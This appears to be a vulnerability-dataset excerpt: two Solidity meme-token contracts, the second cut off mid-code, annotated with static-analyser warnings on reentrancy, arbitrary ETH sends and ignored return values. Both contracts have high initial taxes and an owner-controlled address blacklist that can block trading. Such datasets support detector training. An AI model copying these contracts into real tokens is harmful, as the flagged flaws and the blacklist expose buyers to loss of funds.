"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract CZAR is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8fdd4ff): CZAR._taxWallet should be immutable \n\t// Recommendation for 8fdd4ff: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 93ff5f2): CZAR._initialBuyTax should be constant \n\t// Recommendation for 93ff5f2: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: a6e4828): CZAR._initialSellTax should be constant \n\t// Recommendation for a6e4828: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 65b754c): CZAR._reduceBuyTaxAt should be constant \n\t// Recommendation for 65b754c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: f903292): CZAR._reduceSellTaxAt should be constant \n\t// Recommendation for f903292: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: fff4037): CZAR._preventSwapBefore should be constant \n\t// Recommendation for fff4037: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 10;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Brian Brooks\";\n\n string private constant _symbol = unicode\"CRYPTOCZAR\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 88649eb): CZAR._taxSwapThreshold should be constant \n\t// Recommendation for 88649eb: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7385151): CZAR._maxTaxSwap should be constant \n\t// Recommendation for 7385151: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 10869b5): CZAR.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 10869b5: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e1216b2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e1216b2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d63058a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d63058a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: e1216b2\n\t\t// reentrancy-benign | ID: d63058a\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: e1216b2\n\t\t// reentrancy-benign | ID: d63058a\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a54d39e): CZAR._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a54d39e: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: d63058a\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: e1216b2\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: dbc4215): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for dbc4215: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5a13468): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5a13468: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: dbc4215\n\t\t\t\t// reentrancy-eth | ID: 5a13468\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: dbc4215\n\t\t\t\t\t// reentrancy-eth | ID: 5a13468\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 5a13468\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 5a13468\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 5a13468\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: dbc4215\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 5a13468\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 5a13468\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: dbc4215\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: e1216b2\n\t\t// reentrancy-events | ID: dbc4215\n\t\t// reentrancy-benign | ID: d63058a\n\t\t// reentrancy-eth | ID: 5a13468\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function manualSend() external onlyOwner {\n uint256 contractBalance = address(this).balance;\n\n require(contractBalance > 0, \"No ETH available in the contract\");\n\n _taxWallet.transfer(contractBalance);\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 51b93a8): CZAR.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 51b93a8: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: e1216b2\n\t\t// reentrancy-events | ID: dbc4215\n\t\t// reentrancy-eth | ID: 5a13468\n\t\t// arbitrary-send-eth | ID: 51b93a8\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: bd55d42): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for bd55d42: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8c458d9): CZAR.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 8c458d9: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 468e795): CZAR.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 468e795: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 68d0528): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 68d0528: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: bd55d42\n\t\t// reentrancy-eth | ID: 68d0528\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: bd55d42\n\t\t// unused-return | ID: 8c458d9\n\t\t// reentrancy-eth | ID: 68d0528\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: bd55d42\n\t\t// unused-return | ID: 468e795\n\t\t// reentrancy-eth | ID: 68d0528\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: bd55d42\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 68d0528\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10882.sol",
"size_bytes": 19722,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract BaldEagle is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2f141f3): BaldEagle._taxWallet should be immutable \n\t// Recommendation for 2f141f3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: f09feea): BaldEagle._initialBuyTax should be constant \n\t// Recommendation for f09feea: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 905b679): BaldEagle._initialSellTax should be constant \n\t// Recommendation for 905b679: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 28;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 808a0ff): BaldEagle._reduceBuyTaxAt should be constant \n\t// Recommendation for 808a0ff: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: 30facba): BaldEagle._reduceSellTaxAt should be constant \n\t// Recommendation for 30facba: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: fb1a812): BaldEagle._preventSwapBefore should be constant \n\t// Recommendation for fb1a812: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"USA MASCOT\";\n\n string private constant _symbol = unicode\"BaldEagle\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6e82e46): BaldEagle._taxSwapThreshold should be constant \n\t// Recommendation for 6e82e46: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 830d6cd): BaldEagle._maxTaxSwap should be constant \n\t// Recommendation for 830d6cd: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xcf8C65aBc779714B53AB82e83D19bF3b7e6823C5);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ff107d5): BaldEagle.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for ff107d5: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 56f3b28): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 56f3b28: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 196d07c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 196d07c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 56f3b28\n\t\t// reentrancy-benign | ID: 196d07c\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 56f3b28\n\t\t// reentrancy-benign | ID: 196d07c\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 49af227): BaldEagle._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 49af227: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 196d07c\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 56f3b28\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e17ba08): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e17ba08: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: be11e9b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for be11e9b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: e17ba08\n\t\t\t\t// reentrancy-eth | ID: be11e9b\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: e17ba08\n\t\t\t\t\t// reentrancy-eth | ID: be11e9b\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: be11e9b\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: be11e9b\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: be11e9b\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: e17ba08\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: be11e9b\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: be11e9b\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: e17ba08\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: e17ba08\n\t\t// reentrancy-events | ID: 56f3b28\n\t\t// reentrancy-benign | ID: 196d07c\n\t\t// reentrancy-eth | ID: be11e9b\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: e17ba08\n\t\t// 